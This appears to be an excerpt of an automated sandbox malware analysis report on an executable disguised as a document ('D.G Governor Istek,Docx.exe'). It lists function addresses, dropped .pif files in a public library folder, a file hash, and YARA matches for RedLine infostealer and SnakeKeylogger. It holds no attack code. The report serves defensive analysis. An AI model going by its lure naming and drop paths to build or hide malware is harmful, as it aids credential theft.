Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA0BD0	4_2_20AA0BD0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA1D28	4_2_20AA1D28
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA7120	4_2_20AA7120
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAF510	4_2_20AAF510
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAB110	4_2_20AAB110
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA7710	4_2_20AA7710
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA1760	4_2_20AA1760
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAD970	4_2_20AAD970
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAAB48	4_2_20AAAB48
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAE740	4_2_20AAE740
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA5020	4_2_20AA5020
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAEE18	4_2_20AAEE18
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA5010	4_2_20AA5010
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAD272	4_2_20AAD272
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAE048	4_2_20AAE048
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA4597	4_2_20AA4597
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AA0BC0	4_2_20AA0BC0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAAB39	4_2_20AAAB39
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAE730	4_2_20AAE730
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAB100	4_2_20AAB100
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAF501	4_2_20AAF501
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20AAD969	4_2_20AAD969
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA0040	4_2_20CA0040
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA0728	4_2_20CA0728
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA0E10	4_2_20CA0E10
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA319C	4_2_20CA319C
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA9197	4_2_20CA9197
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA14F8	4_2_20CA14F8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA0021	4_2_20CA0021
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CAA159	4_2_20CAA159
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA0718	4_2_20CA0718
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA0E00	4_2_20CA0E00
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA14E8	4_2_20CA14E8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA7CE9	4_2_20CA7CE9
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20CA7CF8	4_2_20CA7CF8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20D9A5B8	4_2_20D9A5B8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20D9B868	4_2_20D9B868
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_2_20D95014	4_2_20D95014
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00408C60	4_1_00408C60
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_0040DC11	4_1_0040DC11
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00407C3F	4_1_00407C3F
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00418CCC	4_1_00418CCC
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00406CA0	4_1_00406CA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_004028B0	4_1_004028B0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_0041A4BE	4_1_0041A4BE
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00418244	4_1_00418244
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00401650	4_1_00401650
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00402F20	4_1_00402F20
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_004193C4	4_1_004193C4
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00418788	4_1_00418788
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00402F89	4_1_00402F89
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_00402B90	4_1_00402B90
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 4_1_004073A0	4_1_004073A0
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_029420C4	6_2_029420C4
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 6_2_0294D59B	6_2_0294D59B
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00408C60	9_2_00408C60
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_0040DC11	9_2_0040DC11
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00407C3F	9_2_00407C3F
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00418CCC	9_2_00418CCC
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00406CA0	9_2_00406CA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_004028B0	9_2_004028B0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_0041A4BE	9_2_0041A4BE
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00418244	9_2_00418244
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00401650	9_2_00401650
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00402F20	9_2_00402F20
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_004193C4	9_2_004193C4
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00418788	9_2_00418788
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00402F89	9_2_00402F89
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_00402B90	9_2_00402B90
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_004073A0	9_2_004073A0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_340F15B1	9_2_340F15B1
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_340F15C0	9_2_340F15C0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_340F1311	9_2_340F1311
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_340F1320	9_2_340F1320
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_371EE660	9_2_371EE660
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_371E7C98	9_2_371E7C98
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_371E0A50	9_2_371E0A50
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_371E0A60	9_2_371E0A60
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_371EC0F0	9_2_371EC0F0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2DBA0	9_2_37E2DBA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2A798	9_2_37E2A798
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2B328	9_2_37E2B328
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2E730	9_2_37E2E730
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2F2C0	9_2_37E2F2C0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2BEB8	9_2_37E2BEB8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2CA48	9_2_37E2CA48
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E20608	9_2_37E20608
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2A1D0	9_2_37E2A1D0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2D5D8	9_2_37E2D5D8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2AD60	9_2_37E2AD60
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2E168	9_2_37E2E168
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E27138	9_2_37E27138
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2B8F0	9_2_37E2B8F0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2ECF8	9_2_37E2ECF8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2C480	9_2_37E2C480
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2F888	9_2_37E2F888
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E20040	9_2_37E20040
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E22C08	9_2_37E22C08
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2D010	9_2_37E2D010
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E26780	9_2_37E26780
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E26771	9_2_37E26771
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E205FD	9_2_37E205FD
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2D5C8	9_2_37E2D5C8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E2D001	9_2_37E2D001
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E499E8	9_2_37E499E8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E493F8	9_2_37E493F8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E40BD0	9_2_37E40BD0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E49FB8	9_2_37E49FB8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4A580	9_2_37E4A580
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E41198	9_2_37E41198
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E41760	9_2_37E41760
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4D970	9_2_37E4D970
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4E740	9_2_37E4E740
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4AB48	9_2_37E4AB48
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E47120	9_2_37E47120
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E41D28	9_2_37E41D28
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4F510	9_2_37E4F510
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4B110	9_2_37E4B110
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E47710	9_2_37E47710
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E47CD8	9_2_37E47CD8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4B6D8	9_2_37E4B6D8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4BCA0	9_2_37E4BCA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E482A0	9_2_37E482A0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E462B0	9_2_37E462B0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E45480	9_2_37E45480
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4D280	9_2_37E4D280
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E48868	9_2_37E48868
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4C268	9_2_37E4C268
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E40040	9_2_37E40040
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4E058	9_2_37E4E058
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4EE28	9_2_37E4EE28
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E48E30	9_2_37E48E30
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E40608	9_2_37E40608
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4D961	9_2_37E4D961
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4E730	9_2_37E4E730
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4AB39	9_2_37E4AB39
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4F501	9_2_37E4F501
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E47702	9_2_37E47702
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4D271	9_2_37E4D271
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4E048	9_2_37E4E048
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E45020	9_2_37E45020
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E40006	9_2_37E40006
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E45010	9_2_37E45010
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_37E4EE18	9_2_37E4EE18
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_38049964	9_2_38049964
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_38041DD8	9_2_38041DD8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_380414F8	9_2_380414F8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_38040E10	9_2_38040E10
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_38040040	9_2_38040040
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_38040728	9_2_38040728
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_38047CF0	9_2_38047CF0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_38047CF8	9_2_38047CF8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_380414E8	9_2_380414E8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_38040E00	9_2_38040E00
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_3804A130	9_2_3804A130
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_3804A15B	9_2_3804A15B
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_38040718	9_2_38040718
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_3813A900	9_2_3813A900
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_3813B7B8	9_2_3813B7B8
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_2_381341D0	9_2_381341D0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00408C60	9_1_00408C60
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_0040DC11	9_1_0040DC11
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00407C3F	9_1_00407C3F
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00418CCC	9_1_00418CCC
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00406CA0	9_1_00406CA0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_004028B0	9_1_004028B0
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_0041A4BE	9_1_0041A4BE
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00418244	9_1_00418244
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00401650	9_1_00401650
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00402F20	9_1_00402F20
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_004193C4	9_1_004193C4
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00418788	9_1_00418788
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00402F89	9_1_00402F89
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_00402B90	9_1_00402B90
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: 9_1_004073A0	9_1_004073A0
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: 10_2_02AD20C4	10_2_02AD20C4

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Libraries\xzeheenC.pif BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C

Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: String function: 029D8824 appears 45 times
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: String function: 029D87A0 appears 54 times
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: String function: 029C44AC appears 73 times
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: String function: 029C480C appears 931 times
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: String function: 029C44D0 appears 32 times
Source: C:\Users\user\Desktop\D.G Governor Istek,Docx.exe	Code function: String function: 029C46A4 appears 244 times
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: String function: 0040FB9C appears 40 times
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: String function: 0040D606 appears 96 times
Source: C:\Users\Public\Libraries\xzeheenC.pif	Code function: String function: 0040E1D8 appears 176 times
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: String function: 02AD46A4 appears 154 times
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: String function: 0294480C appears 619 times
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: String function: 02AD480C appears 619 times
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: String function: 029446A4 appears 154 times
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: String function: 029587A0 appears 48 times
Source: C:\Users\Public\Libraries\Cneehezx.PIF	Code function: String function: 02AE87A0 appears 48 times

Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227120369.00000000218D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2227120369.0000000021905000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020800000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2278122938.0000000021A1C000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelfwhUWZlmFnGhDYPudAJ.exeX vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2277099019.0000000021778000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000003.2226424806.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2277821297.000000002190E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.0000000020820000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2279806088.000000007F450000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs D.G Governor Istek,Docx.exe
Source: D.G Governor Istek,Docx.exe, 00000000.00000002.2274262219.000000002089B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs D.G Governor Istek,Docx.exe

Source: D.G Governor Istek,Docx.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 4.2.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 13.1.xzeheenC.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 13.2.xzeheenC.pif.31d76478.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.31d76478.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1d270f08.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1d270f08.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.3092b98e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.3092b98e.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1e32e790.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1e32e790.6.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.31dae790.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.31dae790.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1f670000.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 13.2.xzeheenC.pif.3092c896.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 13.2.xzeheenC.pif.3092c896.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 9.2.xzeheenC.pif.370d0000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 9.2.xzeheenC.pif.370d0000.8.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
Source: 6.2.Cneehezx.PIF.21496c78.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 4.2.xzeheenC.pif.1e2f6478.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 4.2.xzeheenC.pif.1e2f6478.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
